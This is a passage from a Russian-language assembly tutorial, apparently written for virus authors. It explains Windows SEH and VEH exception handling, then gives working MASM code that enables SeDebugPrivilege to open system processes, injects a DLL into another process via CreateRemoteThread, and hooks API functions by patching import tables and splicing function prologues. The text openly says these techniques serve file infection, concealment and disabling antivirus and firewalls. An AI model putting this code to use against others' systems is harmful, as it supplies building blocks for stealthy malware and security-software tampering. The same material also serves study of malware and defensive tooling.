    void * EstablisherFrame,//указатель на структуру SEH
    struct _CONTEXT *ContextRecord,//Указатель на структуру CONTEXT
    void * DispatcherContext
    );
 

Обработчик имеет доступ к структуре EXCEPTION_RECORD, которая содержит подробную информацию о исключении. С помощью адреса структуры SEH можно получить доступ к локальным переменным, т.к. структура SEH находится в стеке. Из структуры CONTEXT можно получить значения всех регистров, которые они имели во время возникновения исключения. Структуру CONTEXT также можно редактировать, чтобы исправить ошибку и продолжить выполнение программы. Параметр DispatcherContext обычно не используется.

В заключение этого раздела приведу значения, которые могут возвращать конечный обработчик:

Продолжение выполнения с безопасного места

Внутри-поточный обработчик

Когда мы просто прыгаем на безопасное место из обработчика, мы не сохраняем никакие регистры, кроме регистра EIP. Например, регистры ESP, EBP не сохраняются. Именно поэтому такой способ - "грязный". Есть техника позволяющая сохранять регистры, а также иметь доступ к локальным данным. Для этого нужно написать соответствующий обработчик. Используя эту технику можно исправить ошибку и продолжить выполнение с безопасного места. Вот маленькая программа, где используется техника продолжения выполнения с безопасного места:

Пример:

.386p
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include---------------------
includelib \tools\masm32\lib\user32.lib
includelib \tools\masm32\lib\kernel32.lib
includelib \tools\masm32\lib\gdi32.lib
includelib \tools\masm32\lib\advapi32.lib
include \tools\masm32\include\windows.inc
include \Tools\masm32\include\proto.inc
include \tools\masm32\include\user32.inc
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\gdi32.inc
include \tools\masm32\include\advapi32.inc
;----------------------End IncludeLib and Include-----------------
SEH struct
        PrevLink        dd ?    ; адрес предыдущего SEH-фрейма
        CurrentHandler  dd ?    ; адрес обработчика исключений
        SafeOffset      dd ?    ; Смещение безопасного места
        PrevEsp         dd ?    ; Старое значение esp
        PrevEbp         dd ?    ; Старое значение ebp
SEH ends

.data
        seh db "In SEHHanlder",0
        seh1 db "After Exception SEHHanlder",0
.code
start:
        assume fs:nothing
        push ebp
        push esp
        push offset Next
        push offset SEHHandler
        push FS:[0]
        mov FS:[0],ESP
        ;здесь начинается защищенный код
                mov eax,0
                mov dword ptr [eax],1
        pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры ERR
        add ESP,16;убираем из стека оставшийся адрес обработчика из структуры
Next:
        invoke MessageBox,0,offset seh1,offset seh1,0
        invoke ExitProcess,0
SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
        mov edx,pFrame
        assume edx:ptr SEH
        mov eax,pContext
        assume eax:ptr CONTEXT
        push [edx].SafeOffset
        pop [eax].regEip
        push [edx].PrevEsp
        pop [eax].regEsp
        push [edx].PrevEbp
        pop [eax].regEbp
        invoke MessageBox,0,offset seh,offset seh,0
        mov eax,ExceptionContinueExecution
        ret
SEHHandler endp
end start
 

Пример Закончен.

В начале программы, в стеке создается SEH-фрейм. По адресу FS:[0] передается указатель на этот SEH-фрейм. Помимо смещения обработчика и адреса предыдущего SEH-фрейма мы передаем смещение безопасного места, значение ESP и EBP. Т.о. мы заполняем все поля структуры SEH. Если происходит исключение, то управление передается обработчику исключений SEHHandler. Обработчик исключений, используя переданную ему структуру SEH заполняет некоторые поля структуры CONTEXT, а именно регистры ESP(для сохранения вершины стека), EBP(для доступа к локальным данным), EIP(для перехода на безопасное место). Обработчик возвращает 1 или константу ExceptionContinueExecution, чтобы сообщить операционной системе, что обработчик обработал исключение и необходимо продолжить выполнение программы в контексте указанной в структуре CONTEXT.

Финальный обработчик

В финальном обработчике также можно перезагружать контекст таким образом, чтобы выполнение продолжалось с безопасного места. Но если мы хотим продолжить выполнение программы возвращать обработчик должен уже не 1, а -1. Финальному обработчику в отличие от внутри-поточного передается только структуры CONTEXT, EXCEPTION_RECORD, а структура SEH не передается, поэтому значения регистров EIP, EBP, ESP надо хранить в статической памяти или что-либо подобное, например в куче.

Заключение

SEH также используют для переполнения стека или переполнения кучи, с помощью подмены обработчика. Это уже штучки создателей эксплойтов - отдельное сообщество компьютерного андеграунда, так же как и вирмейкеры. Очень хорошо, когда сообщества объединяются или комбинируются. Остальную информация о SEH - такую как - "раскрутка стека", "информация, которая передается обработчику", и т.д. можно прочитать в статье Джереми Гордона.

Vectored Exception Handling (VEH)

VEH - или векторная обработка исключений - относительно новый механизм обработки исключений. Он появился впервые в операционной системе Windows XP. Вы, наверное, испугались названия, но не бойтесь, использовать VEH очень просто.

VEH это тоже самое, что и SEH - также устанавливаются обработчики исключений. Но в этих механизмах есть несколько различий. Во-первых, никаких служебных слов типа try, except, finally для С++, как раньше, нет. Т.е. это не надстройка компилятора. Во-вторых, и это очень важно - VEH это не stack-frame based механизм. Т.е. раньше все SEH-фреймы были в стеке. Теперь же узлы VEH'а находятся в куче. В-третьих, VEH обработчики глобальны для процесса. Из VEH обработчиков можно делать цепочки.

Можно сравнить VEH с финальными обработчиками UnhandledExceptionFilter из которых можно делать цепочки. Различие с финальным обработчиком и в том, что векторный обработчик вызывается в первую очередь(т.е. до SEH), а финальный в последнюю.

Чтобы установить векторный обработчик мы вызываем функцию AddVectoredExceptionFilter. Вот ее прототип:

PVOID AddVectoredExceptionHandler(
  ULONG FirstHandler,
  PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
 

FirstHandler - если этот параметр не ноль, то обработчик устанавливается, как следующий элемент в цепочке. Т.е. при возникновении исключения именно он вызовется ОС. Если этот параметр ноль, то обработчик устанавливается в начало цепочки и вызывается в том случае, если все остальные обработчики в цепочке не обрабатывают исключение, т.е. возвращают EXCEPTION_CONTINUE_SEARCH.

Огромным преимуществом VEH'а над SEH'ом в том, что он отлавливает абсолютно все исключения для всех потоков. А вот у SEH'а с этим проблемы.

Пример использования VEH'а:

Пример:

        lea     eax,[ebp+Handler]               ;В EBP - дельта-смещение
        push    eax
        push    1
        call    dword ptr [ebp+_AddVectoredExceptionHandler]
        ...                                     ;защищенный код
Handler proc Record:DWORD                       ;обработчик
        ...                                     ;обработка исключения
        mov     eax,1                           ;Проход дальше по цепочке
        ret
Handler endp
 

Пример Закончен.

VEH изнутри

Я попытался исследовать VEH изнутри. Что из этого получилось, описано в этом разделе.

В модуле NTDLL.DLL есть статическая глобальная переменная. Назовем её CurrentVEHFrame. В этой переменной содержится адрес текущего VEH-фрейма. При вызове функции AddVectoredExceptionHandler в куче создается новый VEH-фрейм и заполняется соответствующими значениями. VEH-фреймом я называю структуру, которая определена следующим образом

VEH struct
        Prev                    dd ?
        pСurrentVEHFrame       dd ?
        EncodeVEHHandler        dd ?
VEH ends
 

Prev - адрес в куче предыдущего VEH-фрейма. Если это самый последний фрейм, то его значение равно значению адреса переменной CurrentVEHFrame.

pСurrentVEHFrame - адрес переменной CurrentVEHFrame

EncodeVEHHandler - закодированный адрес обработчика. Чтобы получить виртуальный адрес обработчика необходимо вызвать функцию RtlDecodePointer библиотеки NTDLL(можно написать так: NTDLL!RtlDecodePointer).

Т.о. при вызове функции AddVectoredExceptionHandler в цепочку векторных обработчиков добавляется новый элемент. Цепочка представляет связанный список. Вот рисунок, который иллюстрирует сказанное:

Здесь при возникновении исключения будет вызван обработчик Handler1. Если он не обрабатывает исключение, то управление передается обработчику, следующему в цепочке. Еще раз повторю, что ОС определяет, что обработчик является последним в цепочке, если pCurrentVEHFrame==Prev. Это показано на рисунке.

Перехват вызовов функций

Общая картина

Перехват вызовов функций называется также "Per-process residency" техника, применяемая в операционных системах Windows. С ОС Windows поставляются файлы с расширением DLL - Dinamic Link Library. Это библиотеки динамической компоновки. Они экспортируют функции, чтобы их могли вызвать другие приложения или DLL. Чтобы приложение могло использовать какие-то сервисы ОС, оно должно вызвать одну из функций, которая экспортируются системной DLL. Все функции ОС хранятся в системных DLL. Функции, которые являются посредниками между ОС и приложением называются API (Application Programming Interface)-функциями. Соль механизма перехвата функций состоит в следующем. Когда приложение вызывает API-функцию мы можем вместо оригинальной функции вызвать свою функцию, которая может изменить результат вызова для приложения-жертвы (для того приложения, в котором мы перехватываем функции). Т.о. мы можем изменять логику работы любого приложения. Т.е. любое обращение программы к ОС мы можем контролировать, изменять или просто наблюдать за работой какого-то приложения. Мы можем понять, как работает та или иная программа по функциям, которая она вызывает. И этот способ контроля будет значительно проще для анализа, чем простая отладка. Тем более некоторые программы используют анти-отладочные механизмы. Некоторые операции в ОС Windows вообще нельзя осуществить без помощи перехвата API-функций. Перехватывать можно не только API-функции, но и любые экспортируемые функции.

В вирусологии техника перехвата особенно полезна. Она используется для продвинутого заражения файлов, полезной нагрузки, получения информации нужной вирусу (например, путь к файлу для заражения), скрытия присутствия, уничтожения или нарушения работы ненужных нам программ (антивирусов и брандмауэров).

В адресное пространство любого процесса загружена библиотека NTDLL.DLL. При вызове функций из kernel32.dll, например, OpenProcess в конечном итоге вызывается функция ZwOpenProcess, которая находиться в NTDLL.DLL. Низкоуровневые функции, которые находятся в NTDLL.DLL называются NativeAPI функции. Лучше перехватывать именно их, чтобы процесс жертва не смог отделаться от перехвата даже с помощью вызова Native API. Можно и просто исправить перехват. Но чтобы и этого не случилось, необходим перехват в нулевом кольце. Здесь мы будем заниматься только третьим кольцом.

Привилегии

Перехват вызовов функций делается при помощи некоторого механизма. Этот механизм применим для одного конкретного процесса. Если мы хотим глобализировать наш перехват, то мы должны применить технику перехвата для всех процессов в системе. Но по умолчанию даже пользователь с привилегиями администратора не имеет возможности получить доступ к системным процессам (например, winlogon.exe). Чтобы перехватывать функции и в системных процессах необходим доступ к этим системным процессам. Вообще, для внедрения кода в удаленный процесс (а это один из важных шагов механизма перехвата) необходимы следующие привилегии:

Чтобы открыть системный процесс с такими привилегиями, вызывающий функцию KERNEL32.DLL!OpenProcess должен иметь привилегию SeDebugPrivilegies. Ниже представлена процедура на ассемблере получения данной привилегии:

Пример:

EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
        mov eax,0
        invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
        invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
        .IF eax==0
                invoke CloseHandle,hToken
                ret
        .ENDIF
        mov tkp.PrivilegeCount,1
        lea eax,tkp.Privileges
        assume eax:ptr LUID_AND_ATTRIBUTES
        push luid.LowPart
        pop [eax].Luid.LowPart

        push luid.HighPart
        pop [eax].Luid.HighPart

        mov [eax].Attributes,SE_PRIVILEGE_ENABLED
       
        invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
        invoke GetLastError
        .IF eax!=ERROR_SUCCESS
                ret
        .ENDIF
        mov eax,1
        ret
EnableDebugPrivilege endp
 

Пример Закончен.

Здесь Priv - это строка определенная так:

Priv db "SeDebugPrivilege",0

После вызова данной функции вызывающий ее процесс может открывать системные процессы.

Пример:

        call EnableDebugPrivilege
        push ProcID;ID системного процесса
        push 0
        push PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION
        call OpenProcess
 

Пример Закончен.

GetLastError вернет ERROR_SUCCESS. Если открыть системный процесс без вызова функции EnableDebugPrivilege, то OpenProcess вернет ноль, а GetLastError вернет ERROR_ACCESSDENIED.

Dinamic Link Library

Общая картина

Чтобы перехватить функцию в каком-нибудь процессе необходимо выполнить код в этом процессе. Изначально этот код не содержится в этом процессе. Т.е. его необходимо туда поместить. Для этого есть два способа: 1) Внедрение кода с помощью DLL. 2) Простое копирование кода в шел-код стиле. Большинство методов перехвата API функций используют внедрение кода с помощью DLL, т.к. при этом нет требования базовой независимости и зависимости от адресов API-функций. В случае вируса нам желательно не создавать никаких DLL, хотя нет никаких проблем, если мы создадим ее. При этом есть ограничение - это размер кода, который будет внедрен в жертву при заражении. Как создавать код в шел-код стиле мы уже знаем, теперь рассмотрим как создать DLL.

DLL - это обычный PE-файл, в котором есть соответствующий флаг поля Characteristics файлового заголовка. В EXE-файле не может быть этого флага. Если в EXE файле стоит флаг DLL, то он считается некорректным. DLL - это обычно набор функций, которые экспортируются другими модулями. У DLL, как и у любого EXE файла есть точка входа. Для DLL точка входа указывает на функцию, которую условно можно назвать DLLMain. Вот её прототип:

DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD

hInstDLL - описатель данной DLL

Эта функция вызывается при определенных событиях. В результате какого события была вызвана функция DLL указано в параметре reason.

Вот его возможные значения и их описание:

Создание DLL

Создание DLL мало отличается от создания EXE. Вот код самой простой DLL:

Пример:

;----------------------------------------------------------------------------
;                               DLL.asm
;----------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
        .if reason==DLL_PROCESS_ATTACH
                ;код
        .elseif reason==DLL_PROCESS_DETACH
                ;код
        .elseif reason==DLL_THREAD_ATTACH
                ;код
.else    ; DLL_THREAD_DETACH
                ;код
        .endif
        mov  eax,TRUE
ret
DllMain Endp

TestFunction proc;Функция, которая ничего не делает, но экспортируется
ret
TestFunction endp
end DllMain
;----------------------------------------------------------------------------
 

Пример Закончен.

Также необходимо создать файл с расширением DEF, который должен быть примерно такого вида:

Пример:

;----------------------------------------------------------------------------
;				DLL.def
;----------------------------------------------------------------------------
LIBRARY DLL
EXPORTS TestFunction
;----------------------------------------------------------------------------

Пример Закончен.

Где LIBRARY - имя библиотеки, EXPORTS - имя функции, которая экспортируется из DLL (EXPORTS может быть несколько). Необходимо при вызове DLLMain сохранять регистры esi,edi,ebx,ebp и восстанавливать их при выходе из DllMain.

Для компиляции DLL нужно создать как обычно объектный файл, а для линковки используйте следующую строку:

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLL.def DLLSkeleton.obj

Видите, ключ /DLL указывает на установку флага DLL в файловом заголовке.

Внедрение и исполнение удаленного кода

Внедрить DLL в адресное пространство постороннего процесса можно несколькими способами. А именно: с помощью реестра, с помощью хуков, с помощью удаленных потоков, с помощью замены оригинальной DLL, а также DLL можно внедрить как отладчик или через функцию KERNEL32.DLL!CreateProcess. Все эти способы описаны в книгe Джеффри Рихтера "Windows для профессионалов". Можно также и даже проще внедрить просто посторонний код в чужой процесс. Хотя в этом случая потребуется время на его создание. Но мы-то с Вами знаем теперь как делать такой код.

Я буду использовать метод внедрения DLL с помощью удаленных потоков, т.к. он является самым гибким. Но вы можете использовать любой другой. Это совершенно не принципиально, главное чтобы внедрение происходило правильно и в нужные приложения. Методы внедрения, конечно, отличаются друг от друга и налагают некоторые ограничения.

Windows предоставляет функцию, которая называется KERNEL32.DLL!CreateRemoteThread. Она позволяет создать новый поток внутри удаленного процесса. Мы заставляем вызвать функцию KERNEL32.DLL!LoadLibrary потоком целевого процесса для загрузки нужной DLL. Одним из параметров функции KERNEL32.DLL!CreateRemoteThread является lpStartAddress, который означает адрес процедуры потока. Процедура потока принимает один параметр. KERNEL32.DLL!LoadLibrary принимает также один параметр. Т.е. как стартовый адрес удаленного потока мы можем указать адрес функции KERNEL32.DLL!LoadLibrary. При этом мы пользуемся тем, что KERNEL32.DLL проецируется во всех виртуальных адресных пространствах по одному и тому же адресу и из этого соображения предполагаем, что в удаленном процессе функция KERNEL32.DLL!LoadLibrary тоже находиться по тому же адресу что и в нашем процессе.

Еще один важный момент заключается в параметре, который передается потоку и соответственно функции LoadLibrary. Мы должны передать адрес строки с именем функции. Адрес этот должен обязательно находиться в адресном пространстве целевого процесса, т.е. мы должны скопировать эту строку туда. Выделения виртуальной памяти в удаленном процессе производиться c помощью функции KERNEL32.DLL!VirtualAllocEx. Осуществлять запись и чтение памяти чужого процесса можно с помощью функций KERNEL32.DLL!WriteProcessMemory и KERNEL32.DLL!ReadProcessMemory соответственно. Освободить выделенный регион можно с помощью функции KERNEL32.DLL!VirtualFreeEx.

Вот код программы с помощью, которой внедряется DLL:

Пример:

                ;=======================================================
                ;               П Р О Г Р А М М А                           
                ; Внедрение DLL в адресное пространство чужого процесса          
                ; Дата: 01.07.2005                                               
                ; Автор: Bill Prisoner / TPOC                                           
                ;=======================================================

;===============================================================================
;                       Options and Includes                                           
;===============================================================================
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\user32.inc
includelib \tools\masm32\lib\user32.lib
include \tools\masm32\include\advapi32.inc
includelib \tools\masm32\lib\advapi32.lib
;===============================================================================

;===============================================================================
;                       Initialized Data Section
;===============================================================================
.data                                                                                          
        lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс                        
        dwSize equ $-lib;Размер строки с именем DLL
        kernelName db "kernel32.dll",0;Имя Kernel32.dll
        loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA
        _LoadLibrary dd 0;Адрес функции LoadLibrary                        
        ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
        ThreadId dd 0;Идентификатор треда                                    
        PID dd 1700;Идентификатор целевого процесса                               
;===============================================================================

;===============================================================================
;                       Uninitialized Data Section                                             
;===============================================================================
.data?                                                                         
        hProcess dd ?                                                          
;===============================================================================

;===============================================================================
;                               Code Section                                   
;===============================================================================
.code
start:
    ;Открываем процесс куда будем внедрять DLL
        invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
        PROCESS_VM_OPERATION,0,PID
        mov hProcess,eax
        ;Получаем описатель модуля Kernel32.dll
        invoke GetModuleHandle,offset kernelName
        ;Получаем адрес функции LoadLibrary
        invoke GetProcAddress,eax,offset loadlibraryName
        mov _LoadLibrary,eax
        ;Выделяем память в удаленном процессе
        invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT, \
               PAGE_READWRITE
        mov ParameterForLoadLibrary,eax
        ;Запись строки с именем DLL в АП чужого процесса
        invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
    ;Создаем удаленный поток, который вызывает LoadLibrary,
        ;тем самым внедряем DLL в адресное пространство чужого процесса.  
        invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary, \
               ParameterForLoadLibrary,NULL,offset ThreadId
        invoke ExitProcess,0
end start
;===============================================================================
;                               End Program
;===============================================================================
 

Пример Закончен.

После внедрения DLL вызывается DllMain с параметром DLL_PROCESS_ATTACH. Именно при обработке этого параметра мы устанавливаем перехватчик.

Способы перехвата функций

Правка таблицы импорта

При вызове Win32-приложением функции экспортируемой из другого модуля, например

CALL MessageBoxA,0

компилятор генерирует код следующего вида:

CALL X, где X - адрес переходника вида jmp dword ptr [Y], где Y - адрес адреса функции в IAT(Import Address Table), которую заполняет при загрузке модуля загрузчик. При особой настройке компилятора вызов может быть таким CALL DWORD PTR [Y]. Суть метода перехвата заключается в том, чтобы править значения, которые находятся по адресу Y, т.е. правка значений в таблице адресов импорта. Сначала мы сохраняем реальный адрес перехватываемой функции. Потом проходимся по IAT и правим этот реальный адрес на адрес нашего обработчика. Но править придется IAT всех модулей в данный момент загруженный в АП процесса, а также всех динамически подгружаемых. В первом случае необходимо решить задачу получения списка всех модулей загруженных в АП процесса. Во втором случае мы должны перехватывать функции LoadLibraryA, ; LoadLibraryW, LoadLibraryExA, LoadLibraryExW. Также необходимо сделать так, чтобы функция GetProcAddress возвращала адрес нашего перехватчика, если вдруг жертва захочет получить реальный адрес функции, которую мы перехватываем. Это можно делать двумя способами - перехватом GetProcAddress или правкой таблицы экспорта модуля, где находиться перехватываемая функция. У этого способа есть один очень большой недостаток - функции, которые не содержатся в таблице импорта, перехватываться не будут, если только мы не будем осуществлять перехват прямо при начальной загрузке процесса. Обычно перехват делается для процесса, который уже работает. Например, программа получает адрес функции с помощью GetProcAddress, а потом мы уже делаем перехват. Тогда программа минует наш обработчик и вызовет правильную функцию.

Сначала я опишу процедуру, которая правит IAT указанного одним из параметров модуля. Я назвал эту процедуру EdiIATLocal. Например, мы перехватываем функцию, адрес которой X. Тогда процедура EditIATLocal анализирует таблицу импорта указанного модуля и если она встречает там адрес X, то функция меняет X на адрес нашего обработчика, который также передается как параметр функции.

Пример:

;===============================================================================;
;Процедура EditIATLocal                                                       
;Описание:
;Перехват вызовов функций редактированием IAT в одном модуле
;Вход: Address адрес внутри файла в памяти
;       ModName - указатель на имя модуля, IAT которого мы будем править. Регистр
;   не важен.
;       Orig - адрес функции, которую перехватываем
;       New - адрес нашего обработчика
;       ModHandle - описатель модуля, где находиться функция для перехвата.
;   Например, описатель KERNEL32.DLL
;Выход: 1 - перехватили, 0 - не перехватили
;===============================================================================;
EditIATLocal proc ModName:DWORD, Orig:DWORD, New:DWORD, ModHandle:DWORD
LOCAL OldProtect:DWORD
;Получаем адрес таблицы директорий
        mov eax,ModHandle
        assume eax:ptr IMAGE_DOS_HEADER
        add eax,[eax].e_lfanew
        add eax,4
        add eax,sizeof IMAGE_FILE_HEADER       
        mov edi,eax
        assume edi:ptr IMAGE_OPTIONAL_HEADER
        lea edi,[edi].DataDirectory
        mov eax,edi
;Получаем адрес таблицы импорта
        assume eax:ptr IMAGE_DATA_DIRECTORY
        lea eax,[eax+(sizeof IMAGE_DATA_DIRECTORY)*IMAGE_DIRECTORY_ENTRY_IMPORT]
        .IF dword ptr [eax]==0
                move ax,FALSE
                ret;Нет таблицы импорта
        .ENDIF
        mov esi,ModHandle
        add esi,dword ptr [eax];В esi - адрес таблицы импорта
        assume esi:PTR IMAGE_IMPORT_DESCRIPTOR
NextDLL:;очередная запись в таблице импорта
        .IF [esi].Name1==NULL;Конец таблицы импорта?
                mov eax,FALSE
                ret
        .ENDIF
        mov ecx,[esi].Name1
        add ecx,ModHandle
        invoke lstrcmpi,ModName,ecx;тот ли это модуль?
        .IF EAX!=0
                add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
                jmp NextDLL
        .ENDIF
;Если дошли до сюда, то нашли имя модуля
        mov edi,ModHandle
        add edi,[esi].FirstThunk;В EDI - IAT
        assume edi:PTR IMAGE_THUNK_DATA
NextFunction:;перебираем все импортируемые функции
        .IF [edi].u1.Function==0;IAT закончилась
                add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
                jmp NextDLL
        .ENDIF
        mov eax,[edi].u1.Function
        .IF Orig==eax;Нашли!!!
        ;Разрешим запись на нужную страницу
                invoke VirtualProtect,edi,4,PAGE_EXECUTE_READWRITE,ADDR OldProtect
                call GetCurrentProcess
                mov ecx,eax
                lea eax,New
                ;Сменим адрес функции на адрес обработчика
                invoke WriteProcessMemory,ecx,edi,eax,4,NULL
                ;Воостановим прежние аттрибуты
                invoke VirtualProtect,edi,4,OldProtect,ADDR OldProtect
                mov eax,TRUE
                ret
        .ENDIF 
        add edi,sizeof IMAGE_THUNK_DATA
        jmp NextFunction
EditIATLocal endp
;===============================================================================;
 

Пример Закончен.

А процедура EditIATGlobal правит IAT всех модулей процесса, в котором она вызывается. Мы вызываем ее в процедуре DllMain DLL, которую мы будет внедрять в адресное пространство процесса-жертвы. Она просто перечисляет все модули в адресном пространстве текущего процесса с помощью ToolHelp-функций, а потом последовательно вызывает для каждого модуля процедуру EditIATLocal, которую я описал чуть выше.

Пример:

;===============================================================================;
;Процедура EditIATGlobal                                                      
;Описание:
;Перехват вызовов функций редактированием IAT во всех модулях процесса
;Вход: Address адрес внутри файла в памяти
;       ModName - указатель на имя модуля, IAT которого мы будем править.
;   Регистр не важен.
;       Orig - адрес функции, которую перехватываем
;       New - адрес нашего обработчика
;Выход: нет
;===============================================================================;
EditIATGlobal proc ModName:DWORD, Orig:DWORD, New:DWORD
LOCAL Current:DWORD
LOCAL hSnap:DWORD
        push offset NextMod
        call GetBase
        mov Current,eax;Получили хэндл своего модуля
        mov ecx,eax
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,NULL
        mov hSnap,eax
        mov ModEntry.dwSize,sizeof MODULEENTRY32
        invoke Module32First,hSnap,offset ModEntry
NextMod:
        mov eax,Current
        .IF eax!=ModEntry.hModule;В своем модуле не будем перехватывать!
                push ModEntry.hModule
                push New
                push Orig
                push ModName
                call EditIATLocal;Перехватываем в этом модуле
        .ENDIF
        invoke Module32Next,hSnap,offset ModEntry;Следующий модуль
        .IF eax!=0
                jmp NextMod
        .ENDIF
        invoke CloseHandle,hSnap
        mov eax,1
        ret
EditIATGlobal endp
;===============================================================================;
 

Пример Закончен.

В функции DLLMain DLL, которую мы впоследствии будем внедрять во все процессы мы должны обрабатывать reason следующим образом:

Пример:

DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
        push esi
        push edi
        push ebx
        push ebp
        .if reason==DLL_PROCESS_ATTACH
            ;Получаем описатель модуля, где нах-ся перехватываемая функция
                invoke GetModuleHandle,offset nt
                invoke GetProcAddress,eax,offset Exitstr;ExitStr - имя перехватываемой функции
                push offset start
                push eax
                push offset nt
                ;Устанавливаем перехват функции Exitstr из модуля nt.
                call EditIATGlobal
        .elseif reason==DLL_PROCESS_DETACH

        .elseif reason==DLL_THREAD_ATTACH

        .else        ; DLL_THREAD_DETACH

        .endif
        pop ebp
        pop ebx
        pop edi
        pop esi
        mov  eax,TRUE
        ret
DllEntry Endp
 

Пример Закончен.

Простой пример - перехват MessageBox

Я приложил к статье исходный код DLL, которая перехватывает функции USER32.DLL!MessageBoxA и USER32.DLL!MessageBoxW в целевом процессе. Файлы исходного кода этой DLL находиться в папке HookMessBox. Чтобы посмотреть как работает перехват этих функций Вы можете использовать для внедрения мою программу DLL Injector. Например, попробуйте внедрить эту DLL в блокнот, напечатать чего-нибудь и потом нажать на крестик закрытия окна.

Перехват LoadLibrary

Чтобы распространить перехват на новые подгружаемые DLL, необходимо перехватывать KERNEL32.DLL!LoadLibrary. Используя функцию EditIATLocal Вы сможете с легкостью перехватить вызов KERNEL32.DLL!LoadLibrary таким образом, чтобы после загрузки новой DLL она сразу же обрабатывалась.

Сплайсинг

Сначала определяется адрес функции, которую надо перехватить. Первый несколько байт данной функции заменяются на переход к нашему обработчику. Теперь, если будет вызвана перехватываемая функция, то произойдет переход на наш обработчик. Если нужно вызвать оригинальную функцию, то необходимо восстановить исходные байты. С помощью этого метода перехватываются абсолютно все вызовы из любых модулей, и при этом не надо делать ничего дополнительного. Этот метод хорош во всех отношениях, если бы не одно НО...Люди, которые понимают что-нибудь в многозадачности сразу учуяли что-то не-то. Представьте, что какой-то поток правит начало функции джапмом, но вдруг ОС отнимает у него управление и передает его другому потоку. А тот обращается к недоконца подправленной функции. В итоге произойдет ошибка и приложение, скорее всего, слетит. Есть решение этой проблемы, - останавливать все потоки, когда начало функции правиться и когда вызывается ее перехватчик (ведь перехватчик тоже правит начало функции, чтобы вызывать ее оригинал). Все эти вещи реализуются очень просто. Давайте рассмотрим функции, которые приостанавливают и запускают потоки, соответственно. Нашей задачей опять будет перехват функций USER32.DLL!MessageBoxA.

Пример:

;Приостановка всех потоков, кроме вызывающего
SuspendThreads proc
        invoke GetModuleHandle,offset kern
        invoke GetProcAddress,eax,offset OpenThreadStr
        mov _OpenThread,eax
        invoke GetCurrentThreadId
        mov CurrThread,eax
        invoke GetCurrentProcessId
        mov CurrProcess,eax

        invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
        .if eax==-1
                xor eax,eax
                ret
        .endif
        mov hSnap,eax
        mov Thread.dwSize,sizeof THREADENTRY32
        invoke Thread32First,hSnap,offset Thread
        .if eax==0
                xor eax,eax
                ret
        .endif
NextThread:
        mov eax,CurrThread
        mov edx,CurrProcess
        .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
                push Thread.th32ThreadID
                push NULL
                push THREAD_SUSPEND_RESUME
                call _OpenThread
                mov ThreadHandle,eax
                .if ThreadHandle>0
                        invoke SuspendThread,ThreadHandle
                        invoke CloseHandle,ThreadHandle
                .endif
        .endif
        invoke Thread32Next,hSnap,offset Thread
        .if eax!=0
                jmp NextThread
        .endif
        invoke CloseHandle,hSnap
        ret
SuspendThreads endp
 

Пример Закончен.

Пример:

;Возобновление всех потоков
ResumeThreads proc
        invoke GetModuleHandle,offset kern
        invoke GetProcAddress,eax,offset OpenThreadStr
        mov _OpenThread,eax
        invoke GetCurrentThreadId
        mov CurrThread,eax
        invoke GetCurrentProcessId
        mov CurrProcess,eax

        invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
        .if eax==-1
                xor eax,eax
                ret
        .endif
        mov hSnap,eax
        mov Thread.dwSize,sizeof THREADENTRY32
        invoke Thread32First,hSnap,offset Thread
        .if eax==0
                xor eax,eax
                ret
        .endif
NextThread:
        mov eax,CurrThread
        mov edx,CurrProcess
        .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
                push Thread.th32ThreadID
                push NULL
                push THREAD_SUSPEND_RESUME
                call _OpenThread
                mov ThreadHandle,eax
                .if ThreadHandle>0
                        invoke ResumeThread,ThreadHandle
                        invoke CloseHandle,ThreadHandle
                .endif
        .endif
        invoke Thread32Next,hSnap,offset Thread
        .if eax!=0
                jmp NextThread
        .endif
        invoke CloseHandle,hSnap
        ret
ResumeThreads endp
 

Пример Закончен.

В процедуру ResumeThreads не учитывается, что поток можем остановить не мы. Но это допущение для большинства приложений не является критическим.

Простой пример - перехват MessageBox

После того, как мы нашли реальный адрес функции MessageBoxA, мы сохраняет старые 6 байт по некоторому адресу. Далее мы записываем по этому адресу переход на наш обработчик. Код перехода выглядит так:

Пример:

code1 label byte
                db      68h     ;ОПКОД команды PUSH
                Hooker1 dd 0    ;ОПЕРАНД команды PUSH
